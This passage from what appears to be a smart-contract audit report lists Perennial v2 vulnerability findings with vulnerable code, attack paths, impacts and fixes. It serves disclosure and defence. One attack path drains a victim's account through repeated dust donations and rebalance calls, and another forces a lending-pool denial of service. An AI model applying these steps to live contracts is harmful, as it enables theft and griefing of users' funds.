    for (uint256 i; i < imbalances.length; i++) {
        IMarket market = groupToMarkets[owner][group][i];
        if (Fixed6.unwrap(imbalances[i]) < 0) account.marketTransfer(market,
↪   imbalances[i]);
    }

    // push collateral to markets with insufficient collateral
    for (uint256 i; i < imbalances.length; i++) {
        IMarket market = groupToMarkets[owner][group][i];
        if (Fixed6.unwrap(imbalances[i]) > 0) account.marketTransfer(market,
↪   imbalances[i]);
    }

    emit GroupRebalanced(owner, group);
}
```

Controller.sol:92

```
function checkGroup(address owner, uint256 group) public view returns (
    Fixed6 groupCollateral,
    bool canRebalance,
    Fixed6[] memory imbalances
) {
    // query owner's collateral in each market and calculate sum
    Fixed6[] memory actualCollateral;
    (actualCollateral, groupCollateral) = _queryMarketCollateral(owner, group);
    imbalances = new Fixed6[](actualCollateral.length);

    // determine if anything is outside the rebalance threshold
    for (uint256 i; i < actualCollateral.length; i++) {
        IMarket market = groupToMarkets[owner][group][i];
        RebalanceConfig memory marketRebalanceConfig =
↪   _rebalanceConfigs[owner][group][address(market)];
        (bool canMarketRebalance, Fixed6 imbalance) =
            RebalanceLib.checkMarket(marketRebalanceConfig, groupCollateral,
↪   actualCollateral[i]);
        imbalances[i] = imbalance;
        canRebalance = canRebalance || canMarketRebalance;
    }
}
```

RebalanceLib.sol:18

```
function checkMarket(
    RebalanceConfig memory marketConfig,
    Fixed6 groupCollateral,
    Fixed6 marketCollateral
) external pure returns (bool canRebalance, Fixed6 imbalance) {
    // determine how much collateral the market should have
    Fixed6 targetCollateral =
↪   groupCollateral.mul(Fixed6Lib.from(marketConfig.target));

    // if market is empty, prevent divide-by-zero condition
    if (marketCollateral.eq(Fixed6Lib.ZERO)) return (false, targetCollateral);
    // calculate percentage difference between target and actual collateral
    Fixed6 pctFromTarget =
↪   Fixed6Lib.ONE.sub(targetCollateral.div(marketCollateral));
    // if this percentage exceeds the configured threshold, the market may be
↪   rebelanced
    canRebalance = pctFromTarget.abs().gt(marketConfig.threshold);

    // return negative number for surplus, positive number for deficit
    imbalance = targetCollateral.sub(marketCollateral);
}
```

In `Controller.checkGroup()`:

`groupCollateral` = 1e-6, `actualCollateral` = 1e-6 for one market, = 0 for other markets.

After passed into `RebalanceLib`, for all markets,

`targetCollateral = groupCollateral.mul(Fixed6Lib.from(marketConfig.target));`

Since `marketConfig.target < Fixed6.ONE`(It is the percentage of a single market), targetCollateral will be less than the precision of Fixed6, so it round down to 0.

For the market with collateral, `targetCollateral` = 0 but `marketCollateral` = 1e-6.

So `pctFromTarget` = 1 - 0/1e-6 = 1 = 100%.

So `canRebalance` = pctFromTarget.abs().gt(marketConfig.threshold) = 1.

For the market without collateral, `targetCollateral` = 0 and `marketCollateral` = 0. `canRebalance` = 0 but it does not matter.

Now we have proven such group can always get rebalanced. Next we will show that each `rebalance` does not change the market allocation:

`imbalance = targetCollateral.sub(marketCollateral);`

For the market with collateral, imbalance = 0- 1e-6 = -1e-6. For markets without collateral, imbalance = 0 - 0 = 0.

When `Controller` tries to perform the market transfer, the 1e-6 collateral will be transfered back to victim‘s perennial account. Now we reached the initial state: all markets in the group have no fund in it.

Internal pre-conditions

1. Perennial account owner has activated a valid group.
2. All markets in the group reach a state where all marketCollateral = 0. This can happen in many situations: a. The owner withdraw from all these markets. b. The owner was liquidated in these markets and no margin left. (This is possible due to high leverage). c. The owner just activated the group and haven't had a chance to put money in it yet.
3. The perennial account has some fund in it.

External pre-conditions

N/A

Attack Path

1. Attacker donate 1e-6 DSU as collateral to one of victim's market in the group.
2. Attacker call `Controller_Incentivized.rebalanceGroup()` to perform the attack and resume group state.
3. Attacker repeat step1 and 2 to drain the whole DSU and USDC balance in victim's account.

Impact

Victim's account balance can get drained when they have an empty group.

PoC

No response

Mitigation

There should be a minimum rebalance value check to prevent this issue and prevent users pay more keeper fee than the rebalanced margin when margin is tiny.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/equilibria-xyz/perennial-v2/pull/450

Issue M-1: `MultiInvoker` and `Manager` orders execution can be DOS in key moments if AAVE/Compound utilization is at 100%

Source: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3-judging/issues/16

Found by

panprog **Summary** Perennial contracts rely on the `DSU` token, which is essentially a wrapper for the `USDC` token. There are 2 in-scope implementations of `DSU` wrappers (`reserve`) which use part of the protocol reserves to deposit into external protocols (AAVE and Compound). Any time the protocol tries to unwrap (`redeem`) from the `reserve` (basically convert `DSU` to `USDC`), some funds are withdrawn from the AAVE or Compound.

The issue is that both AAVE and Compound allow to withdraw only the difference between the pool's supply and debt. This means that the withdrawal operation might revert in case of 100% utilization (supply ~= debt). This can happen by itself (and has happened in the past during some periods) or be intentionally forced by anyone by temporarily taking out all available AAVE/Compound funds as a debt, and then later repaying it to DOS certain operations to Perennial users.

In particular, all `MultiInvoker` and `Manager` withdrawals with unwrap flag set are vulnerable to this DOS. Each `MultiInvoker` or `Manager` action charges `interfaceFee` by withdrawing it from user's market balance and if `unwrap` flag is set, it's converted to USDC via `batcher` or `reserve` (if `batcher` is not set or empty). Since this conversion to USDC will revert in `reserve`, entire `MultiInvoker` or `Manager` transaction will revert as well. The most impactful operation seems to be the stop loss or take profit orders execution - attacker can monitor the `MultiInvoker` and `Manager` limit orders and when the stop loss price is near, execute this attack to delay the execution of these orders until the price becomes much worse, thus users will lose funds due to delay in their orders execution, getting much worse price than what they could get if not for the attack.

Root Cause `MultiInvoker` charges interface fee in `_update`: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/perennial-v2/packages/perennial-extensions/contracts/MultiInvoker.sol#L241-L242

`_chargeFee` unwraps `DSU` if `unwrap` is set to `true`: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/perennial-v2/packages/perennial-extensions/contracts/MultiInvoker.sol#L310

`_unwrap` redeems from reserve: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/pere nnial-v2/packages/perennial-extensions/contracts/MultiInvoker.sol#L370

`redeem` allocates: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/emptyset-mono/packages/emptyset-reserve/contracts/reserve/ReserveBase.sol#L81

`_allocate` calls `_update` to allocate/deallocate to match allocated amount to target amount according to strategy: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/emptyset-mono/packages/emptyset-reserve/contracts/reserve/ReserveBase.sol#L137

`reserve` withdraws from AAVE when allocating: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/emptyset-mono/packages/emptyset-reserve/contracts/reserve/strategy/AaveV3FiatReserve.sol#L66-L67

`reserve` withdraws from Compound when allocating: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/emptyset-mono/packages/emptyset-reserve/contracts/reserve/strategy/CompoundV3FiatReserve.sol#L61-L62

The same happens in `Manager`: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/perennial-v2/packages/perennial-order/contracts/Manager.sol#L196 https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/perennial-v2/packages/perennial-order/contracts/Manager.sol#L218

Internal pre-conditions

1. Reserve uses either AAVE or Compound strategy
2. `Reserve.allocation` is not 0
3. User has created a `MultiInvoker` or `Manager` order with `interfaceFee.unwrap` or `interfaceFee2.unwrap` set to true.

External pre-conditions Market price is within the order's execution range

Attack Path

1. Attacker empties the `batcher` if it's set in `MultiInvoker` and `Manager` and not empty. Exact steps depend on the batcher implementation which is out of scope, but should be possible according to current implementation (depositing large amount of USDC to `batcher`, then immediately withdrawing it). Alternatively (if not possible), this should be additional pre-condition (no `batcher` set or `batcher` is empty).
2. Attacker deposits some token other than `USDC` into AAVE/Compound and takes out `USDC` debt to make AAVE/Compound `USDC` balance almost 0. Alternatively, this can happen by itself (and has happened in the past), in such case this is additional external pre-condition.
3. Attacker waits for some time, taking out more debt if needed to keep AAVE/Compound `USDC` balance close to 0.

4. All this time `MultiInvoker` and `Manager` orders execution is blocked
5. Once the price is far enough from where it was, attacker repays the debt and withdraws amount supplied to AAVE/Compound

Impact

- User order is executed at a much worse price
- Or position is liquidated (in case the order was a stop-loss and price moved beyound liquidation price)
- Or user order is not executed (in case the order is take profit and the price had moved away from the execution range)

In all 3 cases user losses funds.

This attack can be intentionally caused by attacker, or can happen by itself (but much less probable). If it is caused by attacker, this is then mostly a griefing attack as there is no profit for the attacker, although the attacker might be a maker and want to avoid closure of the large position which has an order in `MultiInvoker`.

The same issue also causes all user attempts to exit `DSU` to `USDC` revert for some time, including `MultiInvoker` withdrawal orders (but probably less severe as not as time-critical as positional orders execution).

PoC Not needed

Mitigation It's probably impossible to do anything in such circumstances to convert `DSU` to `USDC`, however it's still possible to keep orders execution, keeping all funds in `DSU`. So one possible mitigation is to force all interface fee to be in `DSU` only (so remove the `unwrap` field from interface fee). Alternatively, if some interfaces only support USDC, maybe accumulate their fee in `DSU` and let them manually claim USDC if needed (so that it's not time-critical and can be done when unwrapping is available again)

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/equilibria-xyz/perennial-v2/pull/461

Issue M-2: `MultiInvoker`, `Manager` and `Account` unexpected reverts in certain conditions due to AAVE reverting on deposits and withdrawals with 0 amount

Source: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3-judging/issues/18

Found by

panprog **Summary** AAVE v3 pool implementation reverts when trying to deposit or withdraw `amount = 0`:

```
function validateSupply(DataTypes.ReserveCache memory reserveCache, uint256
↪   amount)
  internal
  view
{
  require(amount != 0, Errors.INVALID_AMOUNT);
```

`AaveV3FiatReserve._update` still allows deposits to and withdrawals from AAVE with `amount = 0`:

```
function _update(UFixed18 collateral, UFixed18 target) internal virtual override
↪   {
    if (collateral.gt(target))
        aave.withdraw(fiat, UFixed6Lib.from(collateral.sub(target)),
↪   address(this));
    if (target.gt(collateral))
        aave.deposit(fiat, UFixed6Lib.from(target.sub(collateral)),
↪   address(this), 0);
}
```

Note, that when `abs(collateral - target) < 1e12`, conversion from UFixed18 to UFixed6 will result in `amount = 0`.

All amounts relevant for this issue are calculated from 6-decimals amounts (unallocated amount is balance of 6-decimals USDC token, allocated amount is balance of 6-decimals aUSDC token, redeemed/deposited amount is UFixed6 in `MultiInvoker`, `Manager` and `Account`), however the `target` value is calculated as:

```
target = unallocated.add(allocated).sub(amount).mul(allocation);
```

Since `unallocated`, `allocated` and `amount` all will be converted from 6 to 18 decimals - all of them will be divisible by 1e12. But target amount will very likely **not** be divisible by 1e12. For example, `unallocated + allocated - amount = 111e12`, `allocation = 10% = 0.1e18 = 1e17`, then `target = 111e12 * 1e17 / 1e18 = 111e11 = 11.1e12`.

This means that `collateral` will almost always be either greater or less, but not equal to `target`.

Now, the situation when `abs(collateral - target) < 1e12` might happen:

- In `Account`: almost always when user calls `withdraw(UFixed6Lib.MAX, true)` and `Account` `DSU` balance is 0.
- In `MultiInvoker` and `Manager`: if the allocated amount (aUSDC) grows by exactly the user's order amount over the time without transactions
- or if admin changes allocation percentage and order's amount matches the difference between collateral and new target exactly

The most likely situation is in the `Account`: when user tries to withdraw full amount in USDC (setting `unwrap = true`) (either directly from `Account` or with signature via `Controller`), and the account doesn't have any `DSU` (only `USDC`), such transactions will almost always revert, denying the user core protocol functionality. This might be time-critical for the user as he might need these funds elsewhere and the unexpected reverts (which will keep happening in consecutive transactions) might make him lose funds from the positions opened or not opened elsewhere.

Much less likely condition for `MultiInvoker` and `Manager`: withdrawals with unwrap flag set are vulnerable to this DOS. `MultiInvoker` or `Manager` action charges `interfaceFee` by withdrawing it from user's market balance and if `unwrap` flag is set, it's converted to USDC via `batcher` or `reserve` (if `batcher` is not set or empty). Since this conversion to USDC will revert in `reserve`, entire `MultiInvoker` or `Manager` transaction will revert as well.

Root Cause `AaveV3FiatReserve._update` doesn't verify `amount` passed to `aave.deposit` and `aave.withdraw` is not 0. https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/emptyset-mono/packages/emptyset-reserve/contracts/reserve/strategy/AaveV3FiatReserve.sol#L66-L69

Internal pre-conditions

1. Reserve uses AAVE strategy
2. `Reserve.allocation` is not 0
3. `(allocated + unallocated - interfaceFee.amount) * reserve.allocation` is not divisible by 1e12.

`Account`: 4a. User's account has some `USDC` and none `DSU` 5a. User calls `Account.withdraw(UFixed6Lib.MAX, true)`

`MultiInvoker` and `Manager`: 4b. User has created a `MultiInvoker` or `Manager` order with `interfaceFee.unwrap` or `interfaceFee2.unwrap` set to true. 5b. The allocated amount in reserve has grown exactly by the amount charged by interface over the time without transactions

External pre-conditions `Account`: None

`MultiInvoker` and `Manager`: Market price is within the order's execution range

Attack Path Happens by itself:

- `Account` user: all such withdrawal transactions will revert denying user withdrawal of his funds (the funds can still be withdrawn if unwrap is set to `false`, or exact `amount` is specified, but if it's another contract, this might not be possible at all).
- `MultiInvoker/Manager`: user's order can not be executed temporarily due to revert.

Impact `Account`: User is unable to withdraw his funds and can not allocate them in the other positions, losing funds from liquidation or not benefiting from the position he intended to open.

`MultiInvoker` / `Manager`:

- User order is executed at a worse price
- Or position is liquidated (in case the order was a stop-loss and price moved beyound liquidation price)
- Or user order is not executed (in case the order is take profit and the price had moved away from the execution range)

PoC Not needed

Mitigation Convert difference of `target` and `collateral` to `Fixed6` and compare it to 0, instead of directly comparing `target` with `collateral` in AAVE strategy.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/equilibria-xyz/emptyset-mono/pull/14

Issue M-3: `Controller`'s core function of Rebalance will not rebalance when rebalance is needed in some cases, breaking core functionality

Source: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3-judging/issues/20

Found by

panprog **Summary** One of the main `Controller`'s functions is `rebalanceGroup`, which rebalances collateral between several markets in a pre-set ratio. The issue is that the rebalance is not done if the market collateral is 0, even if the target collateral is not 0. This happens, because the `RebalanceLib.checkMarket` incorrectly returns `canRebalance = false` in such case:

```
if (marketCollateral.eq(Fixed6Lib.ZERO)) return (false, targetCollateral);
```

This leads to core functionality not working in certain circumstances, for example when user adds a new market without any collateral and the rebalance threshold is high enough so that the other markets do not trigger a rebalance. This might, in turn, lead to a loss of funds for the user since he won't be able to open the position in this new market, as his collateral will remain 0 after rebalance, and will lose funds due to missed opportunity or due to lack of hedge the market expected to provide to the user.

Root Cause `RebalanceLib.checkMarket` returns `canRebalance = false` when market's current collateral is 0, regardless of what target is: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/perennial-v2/packages/perennial-account/contracts/libs/RebalanceLib.sol#L27

Internal pre-conditions

1. User's `collateral = 0` in a market which is added to `Controller` rebalance config.
2. Rebalance config's `threshold` is high enough not to trigger rebalance in the other markets

External pre-conditions None

Attack Path Happens by itself when user calls `Controller.rebalanceGroup` - the collateral is not rebalanced and the new market remains without collateral.

Example:

1. User had rebalance config for market1 (0.5) and market2 (0.5), `threshould = 0.2 (20%)`

2. User had market1 collateral = 50, market2 collateral = 50
3. User changes rebalance config to market1 (0.4), market2 (0.4), market3 (0.2).
4. `Controller.rebalanceGroup` reverts, because `canRebalance = false` even though the market3 should be rebalanced to have some funds.

Note, that if the market3 has even 1 wei of collateral in the example, `rebalanceGroup` will do the re-balancing, meaning that the collateral of 0 should also trigger re-balancing.

Impact

1. Core `Controller` functionality is broken (doesn't rebalance when it should)
2. As a result user can lose funds as he won't be able to open positions in the new market where he expected to have collateral after rebalance. For example, if the market was intended to hedge some other user position, inability to open position will expose the user to a market price risk he didn't expect to take and will lose substantial funds due to this.

PoC Not needed

Mitigation When market collateral is 0, return false only if `targetCollateral == 0`, otherwise return true:

```
if (marketCollateral.eq(Fixed6Lib.ZERO)) return
↪   (!targetCollateral.eq(Fixed6Lib.ZERO), targetCollateral);
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/equilibria-xyz/perennial-v2/pull/447

Issue M-4: settle() asyncFee is left in the KeepFactory and is not transfer to the keeper.

Source: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3-judging/issues/34

Found by

bin2chen, volodya

Summary

After KeeperFactory.settle() executes successfully, `asyncFee` goes to the factory, not to `keeper`.

Root Cause

in KeeperFactory.sol:168 After `keeper` executes the `settle()` method, the `asyncFee` is transferred from `KeeperOracle` to `KeeperFactory`. But in the current code, `KeeperFactory` doesn't transfer this `fee` to `msg.sender` but leaves it in the contract and doesn't provide any method to do the transfer out

```
abstract contract KeeperFactory is IKeeperFactory, Factory {
    function settle(bytes32[] memory oracleIds, uint256[] memory versions,
 ↪  uint256[] memory maxCounts) external {
...
        for (uint256 i; i < oracleIds.length; i++)
@>          IKeeperOracle(address(oracles[oracleIds[i]])).settle(versions[i],
 ↪  maxCounts[i]);
    }
```

```
contract KeeperOracle is IKeeperOracle, Instance {

    function settle(uint256 version, uint256 maxCount) external onlyFactory {
        for (uint256 i; i < maxCount && callbacks.length() > 0; i++) {
            address account = callbacks.at(0);
            market.settle(account);
            callbacks.remove(account);
            emit CallbackFulfilled(SettlementCallback(market, account, version));

            // full settlement fee already cleamed in commit
            PriceResponse memory priceResponse = _responses[version].read();
@>          market.token().push(msg.sender,
 ↪  UFixed18Lib.from(priceResponse.asyncFee));
```

```
        }
    }
```

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

1. `Keeper` call `KeeperFactory.settle()`

- token transfer from : keeperOracle.sol -> KeeperFactory.sol

2. token stay KeeperFactory.sol

Impact

`asyncFee` is locked in the contract.

PoC

No response

Mitigation

```
    function settle(bytes32[] memory oracleIds, uint256[] memory versions,
↪   uint256[] memory maxCounts) external {
        if (oracleIds.length == 0 || oracleIds.length != versions.length ||
↪   oracleIds.length != maxCounts.length)
            revert KeeperFactoryInvalidSettleError();

        for (uint256 i; i < oracleIds.length; i++)
+       {
+           Token18 rewardToken =
↪   IKeeperOracle(address(oracles[oracleIds[i]])).oracle().market().token();
+           UFixed18 balanceBefore = rewardToken.balanceOf();
            IKeeperOracle(address(oracles[oracleIds[i]])).settle(versions[i],
↪   maxCounts[i]);
+           rewardToken.push(msg.sender,rewardToken.balanceOf() - balanceBefore);
+       }
    }
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/equilibria-xyz/perennial-v2/pull/456

Issue M-5: when ReserveBase undercollateralized , Manager.orders will not be able to execute

Source: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3-judging/issues/35

Found by

bin2chen, panprog

Summary

`Manager.sol` does not take into account that `reserve.redeemPrice` may be less than 1:1 The current code, `reserve.redeem(amount)` followed by a direct transfer of the same USDC, will fail because it results in an insufficient balance and the order will not be triggered successfully

Root Cause

in Manager.sol:219

If balance `order.interfaceFee.unwrap=true`, need to convert `DSU` to `USDC` Use `reserve.redeem(amount);` But this method, in the case of `undercollateralized`, is possible to convert less than `amount`, but the current code implementation logic directly uses `amount`.

```
/// @inheritdoc IReserve
function redeemPrice() public view returns (UFixed18) {
    // if overcollateralized, cap at 1:1 redemption / if undercollateralized,
 ↪  redeem pro-rata
    return assets().unsafeDiv(dsu.totalSupply()).min(UFixed18Lib.ONE);
}

function _unwrapAndWithdaw(address receiver, UFixed18 amount) private {
    reserve.redeem(amount);
    USDC.push(receiver, UFixed6Lib.from(amount));
}
```

Internal pre-conditions

No response

External pre-conditions

1. XXXReserve.sol undercollateralized

Attack Path

1. alice place `TriggerOrder[1] = {price < 123 , interfaceFee.unwrap=true}`
2. XXXReserve.sol undercollateralized , redeemPrice < 1:1
3. when price < 123 , Meet the order conditions
4. keeper call `executeOrder(TriggerOrder[1])` , but execute fail because revert Insufficient balance

Impact

No response

PoC

No response

Mitigation

```
    function _unwrapAndWithdaw(address receiver, UFixed18 amount) private {
-        reserve.redeem(amount);
-        USDC.push(receiver, UFixed6Lib.from(amount));
+        USDC.push(receiver, UFixed6Lib.from(reserve.redeem(amount)));
    }
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/equilibria-xyz/perennial-v2/pull/458

Issue M-6: _ineligible() redemptionEligible is miscalculated

Source: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3-judging/issues/36

Found by

bin2chen

Summary

`Vault._ineligible()` should not include the `depositAssets` of `update()` when calculating the `redemptionEligible`, which is not part of the `totalCollateral`.

Root Cause

in Vault.sol:L411

The method `_ineligible()` internally calculates the `redemptionEligible` first. using the formula: redemptionEligible = totalCollateral - (global.assets + withdrawal) - global.deposit

The problem is subtracting `global.deposit`, which already contains the current `depositAssets`. The current `depositAssets` is not in `totalCollateral` and should not be subtracted.

the `redemptionEligible` is too small, which causes the `ineligible` to be too small.

Example: context.totalCollateral = 100 , global.assets = 0, global.deposit =0

1. user call update(depositAssets = 10)
2. global.deposit += depositAssets = 10 (includes this deposit)
3. redemptionEligible = 100 - (0 + 0) - 10 = 90

The correct value should be: redemptionEligible = 100

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

No response

Impact

One of the main effects of `_ineligible()` is that this part cannot be used as an asset to open a position; if this value is too small, too many positions are opened, resulting in the inability to `claimAssets` properly.

PoC

No response

Mitigation

```
-   function _ineligible(Context memory context, UFixed6 withdrawal) private
↪   pure returns (UFixed6) {
+   function _ineligible(Context memory context,UFixed6 deposit, UFixed6
↪   withdrawal) private pure returns (UFixed6) {

        // assets eligible for redemption
        UFixed6 redemptionEligible =
↪   UFixed6Lib.unsafeFrom(context.totalCollateral)
            // assets pending claim (use latest global assets before withdrawal
↪   for redeemability)
            .unsafeSub(context.global.assets.add(withdrawal))
            // assets pending deposit
-           .unsafeSub(context.global.deposit);
+           .unsafeSub(context.global.deposit.sub(deposit))

        return redemptionEligible
            // approximate assets up for redemption
            .mul(context.global.redemption.unsafeDiv(context.global.shares.add(c
↪   ontext.global.redemption)))
            // assets pending claim (use new global assets after withdrawal for
↪   eligability)
            .add(context.global.assets);
            // assets pending deposit are eligible for allocation
    }
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/equilibria-xyz/perennial-v2/pull/460

Issue M-7: Market coordinator can set proportional and adiabatic fees much higher than limited by protocol due to fixed point truncation

Source: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3-judging/issues/41

Found by

panprog **Summary** The README states the following:

> Q: Please list any known issues and explicitly state the acceptable risks for each known issue. Coordinators are given broad control over the parameters of the markets they coordinate. The protocol parameter is designed to prevent situations where parameters are set to malicious steal funds. If the coordinator can operate within the bounds of reasonable protocol parameters to negatively affect markets we would like to know about it

Market coordinator can set `scale` for `takerFee` or `makerFee` at amount significantly lower than the validated `scaleLimit` due to truncation when storing the parameter. This will lead to much higher proportional and adiabatic fees than max amount intended by the protocol. Example:

- `protocolParameter.minScale = 50%`
- `protocolParameter.minEfficiency = 100%`
- This means that coordinator must not set `scale` less than `50%` of `makerLimit`, meaning max proportional fee is 2x the `takerFee.proportionalFee`
- Coordinator sets risk parameter: `makerLimit = 3.9 WBTC`, `takerFee.scale = 1.95 WBTC`, this is validated correctly (`scale` is `50%` of `makerLimit`)
- However when it's stored, both `makerLimit` and `takerFee.scale` are truncated to integer numbers, storing `makerLimit = 3`, `takerFee.scale = 1` (meaning `scale` is 33% of `makerLimit`, breaking the protocol enforced ratio, and charging `x1.5` higher proportional fee to takers)

Root Cause Validation before truncation:
https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L159-L161

Truncation when storing to storage:
https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L188

https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/perennial-v2/packages/perennial/contracts/types/RiskParameter.sol#L192-L193

Internal pre-conditions

- Malicious market coordinator
- Market with high-price token (such as BTC), `makerLimit` is not very high but still resonable (e.g. `3.9 WBTC` which is a reasonable limit of $200K+).

External pre-conditions None.

Attack Path

1. Coordinator sets correct `makerLimit` and `scale` at the edge of allowed protocol parameter (but both slightly below integer amount)
2. Both `makerLimit` and `scale` pass validation, but are truncated when stored
3. At this point the protocol enforced ratio is broken and actual fee charged to users is much higher (up to 1.5x) than intended by the protocol

Impact Users pay up to 1.5x higher taker/maker proportional fee or adiabatic fee

PoC Not needed.

Mitigation Truncate both `makerLimit` and all `scale`s before validating them (or do not truncate at all as more than integer precision might be required for high-price token markets)

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/equilibria-xyz/perennial-v2/pull/465

Issue M-8: Corrupted storage after upgrade in the `MarketFactory` contract.

Source: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3-judging/issues/53

Found by

eeyore

Summary

The old `MarketFactory` is meant to be upgraded to a new implementation. The problem is that a new `extensions` mapping was added between currently occupied storage slots. After the upgrade, the newly upgraded smart contract would be reading from storage slots that contain data no longer corresponding to the new storage layout. This would cause the system to break in an unpredictable manner, depending on the number of storage slots added as part of the upgrade.

Vulnerability Detail

As seen in the old storage layout:

```
IFactory public immutable oracleFactory;
ProtocolParameterStorage private _parameter;
mapping(address => mapping(address => bool)) public operators;
mapping(IOracleProvider => mapping(address => IMarket)) private _markets;
mapping(address => UFixed6) public referralFee;
```

And the new storage layout:

```
    IFactory public immutable oracleFactory;
    IVerifier public immutable verifier;
    ProtocolParameterStorage private _parameter;
@>  mapping(address => bool) public extensions;
    mapping(address => mapping(address => bool)) public operators;
    mapping(IOracleProvider => mapping(address => IMarket)) private _markets;
    mapping(address => UFixed6) private _referralFees;
    mapping(address => mapping(address => bool)) public signers;
```

The storage will be corrupted after the upgrade because the new `extensions` mapping was introduced between already populated slots. The `extensions`, `operators`, `_markets`, and `_referralFees` will read and write to incorrect slots.

Impact

- Corrupted storage of the `MarketFactory` contract.
- System would break in an unpredictable manner.

Code Snippet

https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/perennial-v2/packages/perennial/contracts/MarketFactory.sol#L11-L35
https://github.com/equilibria-xyz/perennial-v2/blob/main/packages/perennial/contracts/MarketFactory.sol#L10-L25
https://arbiscan.io/address/0x046d6038811c6c14e81d5de5b107d4b7ee9b4cde#code#F1#L1

Tool used

Manual Review

Recommendation

Place the `extensions` mapping after the `_referralFees` mapping so that both `extensions` and `signers` are added after all the occupied slots, avoiding storage corruption.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/equilibria-xyz/perennial-v2/pull/462

Issue M-9: Anyone can cancel other accounts `nonces` and `groups`, leading to griefing their `Intents`.

Source: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3-judging/issues/54

Found by

Albort, Tendency, bin2chen, eeyore

Summary

Within the `AccountVerifier`, `OrderVerifier`, and `Verifier`, anyone can call the `verifyCommon()` or `cancelGroupWithSignature()` functions with properly crafted data and signatures to cancel other users `nonces` or `groups`. This occurs because the signature is only compared to ensure the `signer` is the address from `common.signer`, but the cancellation is performed for `common.account`. There is no additional validation to confirm that `common.signer` is an allowed signer for the `common.account`.

Vulnerability Detail

As seen in the `VerifierBase`, the only check performed is signature validation against `common.signer`:

```
    function verifyCommon(Common calldata common, bytes calldata signature)
        external
        validateAndCancel(common, signature)
    {
@>      if (!SignatureChecker.isValidSignatureNow(common.signer,
↪   _hashTypedDataV4(CommonLib.hash(common)), signature))
            revert VerifierInvalidSignerError();
    }
```

In the `validateAndCancel()` modifier, the nonce is prechecked and later canceled for `common.account` without verifying that `common.signer` is an allowed signer for `common.account`:

```
    modifier validateAndCancel(Common calldata common, bytes calldata signature)
↪   {
        if (common.domain != msg.sender) revert VerifierInvalidDomainError();
        if (signature.length != 65) revert VerifierInvalidSignatureError();
        if (nonces[common.account][common.nonce]) revert
↪   VerifierInvalidNonceError();
        if (groups[common.account][common.group]) revert
↪   VerifierInvalidGroupError();
```

```
        if (block.timestamp >= common.expiry) revert
↪   VerifierInvalidExpiryError();

@>      _cancelNonce(common.account, common.nonce);

        _;
    }
```

As the same validation flow is used in `cancelGroupWithSignature()`, any group can be canceled as well.

This can lead to situations where:

- Any pending `Intent` can be canceled by anyone, rendering the `Intents` useless.
- Market makers could cancel each other's orders or market fill orders to lower competitors fill rates and ban them from the Solver API.
- All pending limit orders could be canceled by other users, breaking the limit order `Intents` system.

The `VerifierBase` is used in all verifier contracts, affecting all functions that rely on `Intents`.

Impact

- Missing validation.
- `Intents` functionality broken.

Code Snippet

https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/root/contracts/verifier/VerifierBase.sol#L18-L24
https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/root/contracts/verifier/VerifierBase.sol#L54-L57
https://github.com/sherlock-audit/2024-08-perennial-v2-update-3/blob/main/root/contracts/verifier/VerifierBase.sol#L76-L86

Tool used

Manual Review

Recommendation

Add additional validation to ensure that `common.signer` is an allowed signer for `common.account`.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/equilibria-xyz/perennial-v2/pull/444 https://github.com/equilibria-xyz/root/pull/104

arjun-io

Note that in addition to the above PR, there is a 1-line update to the `root` package to enable this fix: https://github.com/equilibria-xyz/root/pull/104

Issue M-10: The `Market.migrate()` function has no effect and does not migrate `PositionStorageGlobal` to the new storage layout, breaking the migration assumption.

Source: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3-judging/issues/55

Found by

eeyore, volodya

Summary

One of the key requirements during the migration from version 2.2 to 2.3 is to consolidate global and local position storage layouts from 2 slots to 1 slot due to refactoring in v2.2, described here and here. This consolidation for global positions needs to be done on a market-by-market basis by calling the `migrate()` function.

